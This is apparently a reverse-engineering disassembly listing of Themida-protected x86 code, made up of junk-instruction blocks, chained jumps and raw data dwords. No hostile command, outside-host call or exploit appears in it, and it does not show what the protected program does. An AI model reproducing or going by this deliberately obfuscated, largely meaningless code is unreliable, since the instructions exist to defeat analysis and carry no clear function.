		inc	ecx
		push	ebp
		mov	ebp, 1B1B0AB1h
		jmp	loc_62574F
; ---------------------------------------------------------------------------


loc_61D37E:				; CODE XREF: Themida_:00620939j
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp]
		push	edx
		jmp	loc_61C88B
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 34FF5C24h, 8EE95824h, 100004Bh, 0E95158C1h, 2037h, 4EC81h
		dd 3C890000h, 81E78924h, 4C7h, 4EC8100h, 0E9000000h, 5325h
dword_61D3C8	dd 0FF2434FFh, 48B2434h, 6D9CE924h, 0B8500000h,	319243B4h
					; DATA XREF: Themida_:0061C100o
		dd 3506E0C1h, 1FD7557Fh, 984D850Dh, 0DF8E935h, 0E9510000h
		dd 0FFFFF938h
; ---------------------------------------------------------------------------


loc_61D3F4:				; CODE XREF: Themida_:006238A8j
		add	esp, 4
		add	dword ptr [esp+4], 1CB809B2h
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 1CB809B2h
		jmp	loc_620D1F
; ---------------------------------------------------------------------------


loc_61D410:				; CODE XREF: Themida_:006243A5j
		or	ebx, 18B46A95h
		xor	ebx, 2D113157h
		dec	ebx
		xor	ebx, 17AF4FC5h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_61E220
; ---------------------------------------------------------------------------
aKSsh		db ',$h',0
		align 4
		dd offset dword_4E6E9C+59CCh
		dd 24048900h, 0C635DCB8h, 0D3C3816Bh, 2962303Dh, 0D3EB81C3h
		dd 5862303Dh, 0FFF62BE9h, 6866FFh, 0F43BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61D466:				; CODE XREF: Themida_:00624993j
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_61D06C
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		jmp	loc_61E26A
; ---------------------------------------------------------------------------
dword_61D480	dd 240C8B66h, 2CFEE9h		db 0
; ---------------------------------------------------------------------------


loc_61D489:				; CODE XREF: Themida_:0061FF09j
		push	5B31h
		mov	[esp], esi
		push	edx
		push	2E3450DFh
		pop	edx
		sub	edx, 2E3450DBh
		mov	esi, edx
		pop	edx
		jmp	loc_622E7C
; ---------------------------------------------------------------------------
aSiuswh		db 'SWH',0
		align 2
		dw 34FFh
aSvg		db '$V',0
		align 2
word_61D4B6	dw 8F64h		; DATA XREF: Themida_:0061BF68o
		dd 0ED61E902h
		db 2 dup(0FFh)
word_61D4BE	dw 8B66h		; DATA XREF: Themida_:0061BF44o
		dd 89532404h, 4C381E3h,	0E9000000h, 4F40h
aNskz		db 'K',0             ; DATA XREF: Themida_:0061BF6Co
		align 2


loc_61D4D6:				; CODE XREF: Themida_:00624F65j
		pop	ecx
		jmp	loc_61CEEA
; ---------------------------------------------------------------------------
		dd 8B0429BFh, 0E9FA2943h, 2C7Eh
; ---------------------------------------------------------------------------


loc_61D4E8:				; CODE XREF: Themida_:00622706j
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_623E84
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8904ECh, 8D1EE924h, 0E9530000h, 0FFFFF039h, 0DFE95558h
		dd 8100005Dh, 53B82404h, 48168A9h, 0F61A7724h, 0ECF9E96Bh
		dd 0E189FFFFh, 7DABE9h,	9CEF8100h, 13A47E6h, 815D5FFEh
		dd 2C6h, 24343300h, 33243431h, 248B2434h, 6F896824h, 1C890000h
		dd 1206E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61D556:				; CODE XREF: Themida_:0061F866j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_623748
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_626CBB
; ---------------------------------------------------------------------------
		dd 5A66BF04h, 66A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_61D58D:				; CODE XREF: Themida_:00621DB9j
		add	ebx, 35633ECEh
		sub	ebx, eax
		sub	ebx, 35633ECEh
		sub	ebx, 618F24C1h
		push	ebp
		mov	ebp, 272142A1h
		dec	ebp
		sub	ebp, 0EC25EF81h
		sub	ebp, 0CF7E0F29h
		jmp	loc_61EFA8
; ---------------------------------------------------------------------------
		db 43h,	81h, 0C3h
		dd 750398h, 37E9DA89h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61D5C7:				; CODE XREF: Themida_:00625BD5j
		sub	bl, dl
		pop	dx
		movzx	eax, al
		jmp	loc_620356
; ---------------------------------------------------------------------------
		db 68h
		dd 43B41278h, 41F2815Ah, 56719A1Bh, 0EE0B8FBEh,	5EF2011Ch
		dd 5175E952h, 0C3FE0000h, 77D3E9h, 2474FF00h, 9ABCE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61D5FE:				; CODE XREF: Themida_:0062322Ej
		mov	al, 29h
		jmp	loc_624BB8
; ---------------------------------------------------------------------------


loc_61D605:				; CODE XREF: Themida_:00623453j
		mov	eax, 4AAD14E8h
		push	edx
		mov	edx, 3A1376C4h
		push	edi
		mov	edi, 35B41E83h
		or	edx, edi
		pop	edi
		jmp	loc_624ACC
; ---------------------------------------------------------------------------


loc_61D61E:				; CODE XREF: Themida_:00626CE5j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 5E4B2B3Fh
		shr	edx, 8
		jmp	loc_61EA70
; ---------------------------------------------------------------------------


loc_61D63E:				; CODE XREF: Themida_:00623104j
		sub	edi, 7A7D95CAh
		mov	ebx, edi
		pop	edi
		sub	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_62424D
; ---------------------------------------------------------------------------
		db 80h,	0CEh, 93h
		dd 0E9D7F680h, 1D2Ah, 33C5ED81h, 0E9895AE3h, 0A42AE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61D66E:				; CODE XREF: Themida_:0061F4C0j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_6207AD
; ---------------------------------------------------------------------------
dword_61D67C	dd 0E94077FFh, 0FFFFEB9Bh, 5F240C87h, 1F6BE9h, 14875800h
					; DATA XREF: Themida_:0061C160o
		dd 24248B24h, 0FFF89AE9h, 4C483FFh, 8B243487h, 24D22424h
		dd 74E99C24h, 5CFFFFEBh, 4EC81h, 14890000h, 3DBBBA24h
		dd 0E2C12EEFh, 0D7BF5702h, 0E9070E4Fh, 8998h, 68241489h
		dd 1, 5124148Bh, 0BF57E189h, 29647AF3h,	4AB2E9h, 81E78900h
		dd 4C7h, 4EF8100h, 0E9000000h, 9C32h, 24048F5Dh, 1BFFE9h
		dd 0AAE95F00h, 8100008Eh, 4ECh,	242C8900h, 5864ECBDh, 8BE80105h
		dd 0DA68242Ch, 89000049h, 5954240Ch, 4C181h, 0C1830000h
		dd 240C3304h, 33240C31h, 0E95C240Ch, 0A0D2h, 0C67B43B9h
		dd 0AC5AE920h, 3FBE0000h, 57035272h, 5969E9h, 5DE90100h
		dd 8159CF01h, 4C7h, 74FF5700h, 0EFE90424h, 5000005Dh, 405E089h
		dd 2D000000h, 4, 0E9240487h, 92E4h, 8CA4E950h, 0E9590000h
		dd 78Ah, 36BF575Ah, 8118E307h, 0BB6F32E9h, 81F9292Eh, 0BB6F32C1h
		dd 243C8B2Eh, 4C481h, 0C4E90000h, 81000019h, 102h, 8E685A00h
		dd 8900001Bh, 0E6892434h, 4BF57h, 0EE810000h, 103951E1h
		dd 5EC7EE81h, 0FE016522h, 5EC7C681h, 0E9536522h, 83DDh
; ---------------------------------------------------------------------------


loc_61D7D8:				; CODE XREF: Themida_:00625ADEj
		or	dl, bl
		pop	ebx
		xor	dl, 0E0h
		sub	al, dl
		mov	dx, [esp]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		push	edi
		mov	edi, 6C0D7EFCh
		add	eax, edi
		jmp	loc_61E1BB
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0FE6824h, 34FF0000h,	0EC835A24h, 24048904h, 6C7BE9h
		dd 2474FF00h, 0D7E95804h, 5000097h, 22AF054Fh, 2B16032Dh
		dd 53D8297Eh, 27E6E9h, 0E9E18900h, 14B3h, 815BD989h, 8C7F6BE1h
		dd 9FE94141h, 29000056h, 14E95AD3h, 0F7000053h,	19FA35D0h
		dd 0C2290966h, 8124048Bh, 4C4h,	81DA0100h, 450C9BC2h, 0EA835B20h
		dd 24143304h, 33241431h, 895C2414h, 95E9240Ch
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61D87B:				; CODE XREF: Themida_:006285A6j
		push	ecx
		mov	cl, 0
		jmp	loc_62543E
; ---------------------------------------------------------------------------
		db 0BDh
		dd 995D32B9h, 0E95DEB31h, 6FFEh
; ---------------------------------------------------------------------------


loc_61D890:				; CODE XREF: Themida_:006214CDj
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_626521
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0A5F3814Bh, 0E9E010C1h, 49F3h, 89240C89h, 74BD55E1h
		dd 4D7DD600h, 191368h, 24348900h, 0B167BEBEh, 8234E952h
		dd 2C890000h, 50685624h, 8900001Ch, 0AF682404h,	5802400Fh
		dd 5B566305h, 30354070h, 8905B323h, 4520E9C6h, 0C4830000h
		dd 54C58104h, 8133773Eh, 5111F9C5h, 0E9C5016Dh,	37E2h
		dd 36E9F089h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61D913:				; CODE XREF: Themida_:0062748Ej
		pop	eax
		jmp	loc_622119
; ---------------------------------------------------------------------------
aIHau		db '<$haU',0
		dd 242C8900h, 0B4BB5350h, 815E9822h, 0B43F4AE3h, 2EF38168h
		dd 8947603Ah, 76BD5BD8h, 31581F0Dh, 7E958C5h, 89000086h
		dd 0C62959C8h, 9398E958h, 0C8E90000h, 33FFFFE8h, 0C31240Ch
		dd 240C3324h, 7C88E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61D966:				; CODE XREF: Themida_:00623FAEj
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_61EA49
; ---------------------------------------------------------------------------
		dd 324CB951h, 0E9C1154Ah, 96F18105h, 0E900AA51h, 0FFFFF69Ch
		dd 2BF57h, 0F9010000h, 2A7CE9h,	964E9600h, 0C631F031h
		dd 0CEDE9h, 81EE3100h, 564374CEh, 961FE977h, 0EC830000h
		dd 48CDE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61D9B6:				; CODE XREF: Themida_:006227ADj
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_61CF85
; ---------------------------------------------------------------------------
		db 58h,	35h, 9Fh
		dd 0E93B524Dh, 0FFFFFE6Fh, 4C4835Ah, 72E9D029h,	80FFFFEFh
		dd 0F0304EF6h, 8324148Bh, 895104C4h, 4C181E1h, 53000000h
		dd 0A307DFBBh, 1FEB816Dh, 0E9399B73h, 82BAh, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 68243C89h, 3474083Bh, 7EFC15Fh, 0CB38F781h
		dd 5805186Dh, 147DA0Ch,	0C582DF8h, 505F47DAh, 0C71E47B8h
		dd 659A3524h, 8A35589Eh, 2D406069h, 2956B075h, 0E8C14040h
		dd 884BE908h, 73680000h, 8B6A8B01h, 0C483243Ch,	0E5E95304h
		dd 8100003Ah, 7654A7C3h, 0E7E38124h, 81235D03h,	0F130E3C3h
		dd 0A1FAE960h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61DA82:				; CODE XREF: Themida_:00624357j
		mov	bh, 55h
		jmp	loc_6208C5
; ---------------------------------------------------------------------------
		db 58h,	56h, 0BEh
		dd 215508EDh, 15EF729h,	0EDC781D7h, 5A215508h, 2BB53h
		dd 0DF010000h, 243C875Bh, 2424D35Ch, 626FE99Ch
		db 2 dup(0)
word_61DAB2	dw 8B66h		; DATA XREF: Themida_:0061BFA0o
		dd 0E9512404h, 4B83h
dword_61DABC	dd 0E92434FFh, 0FFFFED1Fh, 4621BE56h, 0F5897728h, 8FBF575Eh
					; DATA XREF: Themida_:0061C0CCo
		dd 134FE18h, 0F5295FFDh, 13D7E9h, 5B1AB800h, 0E0C13370h
		dd 14340D03h, 0C4250ABDh, 3510ED36h, 10AD14C6h,	0E958C729h
		dd 6F29h, 8324348Bh, 0C48104C4h, 4, 0E9C39D61h,	0FFFFE70Fh
		dd 8904EC83h, 0E2892414h, 2E3CE9h, 2434FF00h, 55242C8Bh
		dd 242C8B54h, 4C481h, 0C5810000h, 4, 0E904C583h, 4FE1h
; ---------------------------------------------------------------------------


loc_61DB3C:				; CODE XREF: Themida_:006237E8j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		jmp	loc_61F329
; ---------------------------------------------------------------------------
		dw 0EE89h
		dd 0E3C6815Dh, 0E9F3FF84h, 0A646h, 5059B753h, 0E8C0E1B0h
		dd 6477E905h, 835B0000h, 0EC8304C4h, 24348904h,	42474FFh
		dd 33B2E9h, 52516600h, 0C6FEF9B6h, 884AF680h, 0C8285AF1h
		dd 0C8B5966h, 4C48324h,	0EC83C330h, 241C8904h, 0E952C788h
		dd 9CD6h, 4B951h, 0C2810000h, 4509551Fh, 9FE9CA01h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61DBBB:				; CODE XREF: Themida_:0061DDE7j
		mov	[esp], ecx
		jmp	loc_624A94
; ---------------------------------------------------------------------------
		db 5Dh
		dd 4C581h, 53570000h, 2BBh, 5BDF8900h, 3C8BFD01h, 4C48124h
		dd 33000000h, 2C31242Ch, 242C3324h, 0E9F7665Ch,	96F6866h
		dd 24148966h, 0E99C5066h, 1954h, 375F39BEh, 81CE8179h
		dd 4E3E3F6Eh, 1244EE81h, 0DEF764BAh, 2B54EE81h,	0F529CD00h
		dd 8515E9h, 24048100h, 4, 0E924348Bh, 84F0h, 53522904h
		dd 0FA88C788h, 0E9D1885Bh, 3060h, 46E9F901h, 2D0000A0h
		dd 53197177h, 8358C101h, 0C8704C1h, 24248B24h, 2C446850h
		dd 48B5495h, 4C48124h, 0E9000000h, 0A0C6h, 34FF0203h, 24148B24h
		dd 0E904C483h, 2454h, 8B241487h, 35042424h, 0D8001D2Ch
		dd 0E9531D04h, 1523h, 815BDE89h, 0FE6623EEh, 0E9F22914h
		dd 99F4h
; ---------------------------------------------------------------------------


loc_61DC9C:				; CODE XREF: Themida_:00626C23j
		pop	ecx
		push	edx
		mov	dl, 58h
		jmp	loc_6265BA
; ---------------------------------------------------------------------------
aZSsxa		db '<$\SA',0
		dw 0BF00h
		dd 26DB124Ch, 3AD4E9h, 4BA00h, 70E90000h, 31FFFFE7h, 3856E9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61DCCA:				; CODE XREF: Themida_:006236B5j
		mov	edi, 0C16DAF4Dh
		xor	esi, edi
		pop	edi
		mov	edx, esi
		pop	esi
		sub	dword ptr [esp+4], 407872E3h
		add	[esp+4], edx
		add	dword ptr [esp+4], 407872E3h
		jmp	loc_625793
; ---------------------------------------------------------------------------
		dw 489h
		dd 1C4AE924h, 0E1890000h, 4C181h, 0C1830000h, 74FF5104h
		dd 8F590424h, 248B2404h, 7B17E924h, 8B540000h, 0C483243Ch
		dd 4C78104h, 55000000h,	6A97E9h
		db 0
; ---------------------------------------------------------------------------


loc_61DD25:				; CODE XREF: Themida_:0061EE43j
		pop	esp
		mov	[esp], eax
		mov	eax, 1769218Ah
		shl	eax, 6
		inc	eax
		sub	eax, 3DB242Bh
		jmp	loc_62092B
; ---------------------------------------------------------------------------


loc_61DD3C:				; CODE XREF: Themida_:0061F148j
		mov	[esp], ebx
		push	ecx
		mov	ecx, 6C70A28h
		mov	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		push	ebp
		jmp	loc_624865
; ---------------------------------------------------------------------------
		db 66h,	31h, 4
		dd 0C0E99C24h, 89FFFFE4h, 5FFB89C7h, 8324048Bh,	815904C4h
		dd 0D207C7EFh, 81DF017Ch, 0D207C7C7h, 241C8B7Ch, 4C481h
		dd 3C870000h, 34FF5C24h, 2434FF24h, 8972E9h
		db 0
; ---------------------------------------------------------------------------


loc_61DD91:				; CODE XREF: Themida_:0062000Ej
		mov	ebp, 0CA330E7h
		and	ebp, 63746EDAh
		sub	ebp, 0AB716A5h
		add	ebx, ebp
		jmp	loc_621AEB
; ---------------------------------------------------------------------------
		db 0BDh, 78h, 47h
		dd 0EB297EE7h, 0E9F3295Dh, 30FBh
dword_61DDB8	dd 240C8B66h, 942AE952h		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61DDC2:				; CODE XREF: Themida_:0061C99Cj
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	17Eh
		mov	[esp], ebp
		mov	ebp, 23551F29h
		shr	ebp, 7
		or	ebp, 93866CCh
		sub	esp, 4
		jmp	loc_61DBBB
; ---------------------------------------------------------------------------
		dd 5C243C87h, 4EC81h, 2C890000h, 815D5424h, 4C5h, 4C58300h
		dd 1A19E9h, 4E0C100h, 0D8F7D0F7h, 3393E9h, 0C8B6600h, 2C48324h
		dd 1C8BD82Ch
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_61E200
; ---------------------------------------------------------------------------
aP		db 'P',8,'',0
aXsmx		db 'Xx',0
		dw 8100h
		dd 0E48634C1h, 59C801EDh, 5C240487h, 103F68h, 241C8900h
		dd 0FFE78AE9h, 240C8BFFh, 4C481h, 0EEE90000h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61DE67:				; CODE XREF: Themida_:0062046Cj
		sub	eax, edx
		push	ecx
		mov	ecx, 18B22C6Bh
		jmp	loc_61D05A
; ---------------------------------------------------------------------------
		dd 0BE243489h, 12F47C60h, 5E247729h, 0E9D2315Bh, 1546h
		dd 57595451h, 4BFh, 73C18100h, 17C9E59h, 73E981F9h, 0E97C9E59h
		dd 8CBDh, 0E939AA68h, 6726E911h, 0F8310000h, 879BE9h
		db 0
; ---------------------------------------------------------------------------


loc_61DEB5:				; CODE XREF: Themida_:00623240j
		pop	esi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_620BA2
; ---------------------------------------------------------------------------
		db 0FFh
		dd 24048B31h, 4C481h, 0C8B0000h, 7EE95024h, 5FFFFFF2h
		dd 5C64E9h, 1C572100h, 850FE9h,	0C5815E00h, 4, 5C242C87h
		dd 9031E9h, 4BE00h, 0F2010000h,	8B2434FFh, 89522434h, 286AE9E2h
		dd 0D0300000h, 8B2434FFh, 89572414h, 19CAE9E7h,	0E9C10000h
		dd 20F18105h, 0E9028651h, 0FFFFE703h, 633B68h, 846CE900h
		dd 7F830000h, 840F0020h, 0FFFFEFAAh, 45CDBF57h,	0D78723A0h
		dd 0D787D2F7h, 1C781h, 814F0000h, 0BB7361C7h, 5FFE297Dh
		dd 2CB26853h, 815B1139h, 0F5401ACBh, 0AEF3816Dh, 817AA163h
		dd 1B5252C3h, 0A74FE93Eh, 0B1680000h, 89000002h, 6BE9240Ch
		dd 81FFFFECh, 1D8129C7h, 8BFD0116h, 0C481243Ch,	4, 0FFE2A4E9h
		dd 5AD089FFh, 4529D325h, 0E7B95145h, 0F704342Fh, 0E0F181D9h
		dd 0F7493337h, 0B4E941D9h, 8BFFFFE2h, 53E9240Ch, 8100001Bh
		dd 4C2h, 4C28100h, 0E9000000h, 0FFFFFCA4h
; ---------------------------------------------------------------------------


loc_61DFD4:				; CODE XREF: Themida_:00628400j
		mov	[esp], ebp
		push	ecx
		mov	ecx, 15334CA8h
		mov	ebp, ecx
		pop	ecx
		push	ebp
		pop	ebx
		pop	ebp
		xor	eax, ebx
		mov	ebx, [esp]
		jmp	loc_622F86
; ---------------------------------------------------------------------------
		db 58h,	20h, 0F0h
		dd 24148B66h, 367968h, 241C8900h, 255AE9h, 4685600h, 5E000000h
		dd 0B9515652h, 9B1080Ch, 0AFE9CE89h, 5BFFFFEDh,	0BFE95155h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61E01F:				; CODE XREF: Themida_:00621C95j
		mov	eax, esp
		add	eax, 4
		jmp	loc_61CB02
; ---------------------------------------------------------------------------
aSU_0		db '[Ş',0
		dd 240C8B00h, 104C483h,	7C61E9C7h, 0D7680000h, 0E900001Ah
		dd 6737h, 34FF8A04h, 48E95B24h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61E053:				; CODE XREF: Themida_:00620875j
		xor	ebp, 0B2572AD2h
		mov	eax, ebp
		pop	ebp
		neg	eax
		jmp	loc_61CD05
; ---------------------------------------------------------------------------
byte_61E063	db 64h			; DATA XREF: Themida_:0061BFC0o
		dd 2B60F66h, 5E08950h, 4, 3304E883h, 4312404h, 24043324h
		dd 4E1AE9h, 40500h, 0EC830000h,	242C8904h, 8F2EF5BDh, 56E9457Ah
		dd 5F00006Ch, 0B9665152h, 0BA6636FBh, 296675C3h, 0E4E959CAh
		dd 6800009Ch, 1330h, 0B9240C89h, 4351F72h, 25DEC981h, 7EE960BBh
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61E0C3:				; CODE XREF: Themida_:006254AAj
		add	ecx, 6303442Bh
		shl	ecx, 5
		inc	ecx
		add	ecx, 891ED63h
		mov	ebp, ecx
		pop	ecx
		add	esi, ebp
		jmp	loc_61E740
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0BF570000h, 4, 3C1B592Dh, 5F82971h, 713C1B59h, 0E92434FFh
		dd 5C3Dh
dword_61E0FC	dd 0E924248Bh, 0FFFFE11Bh, 3C8BFA01h, 6AF2E924h, 3C310000h
					; DATA XREF: Themida_:0061C0F0o
		dd 243C3324h, 8324248Bh, 34FF04C4h, 89515824h, 4EC81E1h
		dd 89000000h, 0C6B82404h, 0C133C020h, 84E907E0h, 66000028h
		dd 81240489h, 4ECh, 24148900h, 0F0888BB6h, 66C3285Ah, 0E924048Bh
		dd 1F28h, 0B7E95759h, 0B9FFFFFBh, 4, 0BFE9CA01h, 8B000086h
		dd 0C481243Ch, 4, 7CE38143h, 0E949EA3Ah, 6D46h,	24048F5Dh
		dd 0F22E9h, 0F6526600h,	5A662414h, 80FFC280h, 4DE9B2F2h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61E197:				; CODE XREF: Themida_:00621788j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_626FA4
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 8702C083h, 805C2404h, 0ECE9C8C3h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_61E1BB:				; CODE XREF: Themida_:0061D7F5j
		pop	edi
		add	eax, ecx
		sub	eax, 6C0D7EFCh
		jmp	loc_61F89E
; ---------------------------------------------------------------------------
		dd 0BE565D54h, 2F57521Ah, 0E906E6C1h, 60A2h, 42474FFh
		dd 24048F5Dh, 2A37E95Ch, 0A350000h, 4022C672h, 0E6700B05h
		dd 58C601A2h, 8BB8504Eh, 0E93DF168h, 40CEh
; ---------------------------------------------------------------------------


loc_61E200:				; CODE XREF: Themida_:0061DE2Dj
		xchg	ebp, [esp]
		pop	esp
		push	eax
		push	ecx
		mov	cl, 0BBh
		mov	ah, 36h
		jmp	loc_62216F
; ---------------------------------------------------------------------------
		db 68h
		dd 4, 0FFDE015Bh, 0E95B2434h, 704h
; ---------------------------------------------------------------------------


loc_61E220:				; CODE XREF: Themida_:0061D42Fj
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_62300A
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 555B0000h, 9B69ADBDh, 2DC5814Eh
		dd 8144F27Fh, 8DE8D6EDh, 5DEB0193h, 5288E9h
		db 0
byte_61E255	db 66h,	8Bh, 4		; DATA XREF: Themida_:0061C07Co
aSc6		db '$6',0
		align 2


loc_61E25E:				; CODE XREF: Themida_:0061F19Dj
		mov	ebx, 4
		and	ecx, ebx
		jmp	loc_62239F
; ---------------------------------------------------------------------------


loc_61E26A:				; CODE XREF: Themida_:0061D47Bj
		push	esp
		jmp	loc_61ED08
; ---------------------------------------------------------------------------
		dd 8B242C33h, 34FF2424h, 24048B24h, 0E9E78957h,	49BAh
		dd 0A42C781h, 81570582h, 10B42434h, 815D71E2h, 0E210B4F5h
		dd 243C8B71h, 11B4E9h, 509EBB00h, 0E955309Ch, 1CD6h, 2414F750h
		dd 5E94058h, 5000001Eh,	1B6309B8h, 2DEB251Fh, 0CC251575h
		dd 8348043Ch, 0E8C1FFE8h, 0FF040505h, 0C201FFFFh, 0FFF3B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61E2D9:				; CODE XREF: Themida_:00624E20j
		add	bl, 0B0h
		jmp	loc_623768
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 10h
		dd 81755D12h, 0B91964C2h, 81C20162h, 0B91964EAh, 10EA8162h
		dd 57755D12h, 77DA1BFh,	3994E97Dh, 0BE560000h, 2, 335EF301h
		dd 1C31241Ch, 0E27FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61E31A:				; CODE XREF: Themida_:0062709Fj
		push	eax
		jmp	loc_62286F
; ---------------------------------------------------------------------------
		dd 4C781h, 0B6E90000h, 59FFFFE3h, 6BBA524Eh, 97DF10Eh
		dd 7423E9D6h
		db 2 dup(0)
word_61E33A	dw 8B66h		; DATA XREF: Themida_:0061C158o
		dd 0A268240Ch, 0E9000015h, 59AAh, 54242C89h, 4F8CE9h, 0C3815B00h
		dd 4, 0FFFFA9E9h, 0EB815AFFh, 433E75CBh, 5152C301h, 3E75CBB9h
		dd 59CA8943h, 2C6DE9h
		db 0
; ---------------------------------------------------------------------------


loc_61E375:				; CODE XREF: Themida_:00622572j
		pop	ecx
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_6229D5
; ---------------------------------------------------------------------------
		db 5Dh
		dd 8105EDC1h, 0DC7C17E5h, 6F5811Ah, 89029840h, 0F2895DEEh
		dd 83C5815Eh, 29794B0Fh, 83ED81D5h, 5A794B0Fh, 60CDE955h
		dd 0C7810000h, 4, 1795E9h, 0FEE72C00h, 2CBA04C0h, 0E9C388E2h
		dd 22BCh, 5E58CB81h, 0D3F73F77h, 6D63E9h, 40478F00h, 1404781h
		dd 8B42E666h, 89532404h, 4C381E3h, 81000000h, 4EBh, 241C8700h
		dd 2414895Ch, 8904EC83h, 4832424h, 0D0E90424h
		db 63h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61E40B:				; CODE XREF: Themida_:00621E4Dj
		mov	ebp, 2
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		mul	cl
		jmp	loc_62238C
; ---------------------------------------------------------------------------
		dw 0D48h
		dd 67791F63h, 0F05E8D1h, 31D50243h, 0F10158C6h,	4C1835Eh
		dd 0E9240C87h, 0FFFFEA65h
; ---------------------------------------------------------------------------


loc_61E43C:				; CODE XREF: Themida_:00620A1Dj
		sub	edx, 10EE165Eh
		mov	ebp, edx
		pop	edx
		push	edx
		mov	edx, 65876C83h
		neg	edx
		not	edx
		and	edx, 9E806FDh
		add	edx, 7CFC212Bh
		jmp	loc_621883
; ---------------------------------------------------------------------------
aXsx4		db 'X4',0
		align 2


loc_61E466:				; CODE XREF: Themida_:006229FAj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_6284A5
; ---------------------------------------------------------------------------
		db 0B8h
		dd 1C0A2877h, 6F60F005h, 4E8AE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61E48A:				; CODE XREF: Themida_:0061F8E3j
		sub	edx, 0FE5E5C55h
		mov	ebx, edx
		jmp	loc_623940
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0DFF602E7h, 88D9F780h, 0B5E95BFAh, 68000036h, 2798h
		dd 0E9240489h, 0FFFFDE37h, 20D168h, 24048900h, 529BB353h
		dd 0F488DE88h, 9317E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61E4CA:				; CODE XREF: Themida_:00625421j
		pop	edx
		and	eax, esi
		pop	esi
		jmp	loc_624B22
; ---------------------------------------------------------------------------
aPs_v		db 'P.',0
		db 0
; ---------------------------------------------------------------------------


loc_61E4D9:				; CODE XREF: Themida_:00624D01j
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_61F9D5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 59042474h, 5C24048Fh, 24048B66h, 576668h, 24348900h
		dd 0C681E689h, 4, 3667B850h, 3D0D0A9Eh,	3563FF71h, 6BFF777Bh
		dd 0E958C629h, 8042h, 0FF5BD801h, 0A9E92434h, 33FFFFF4h
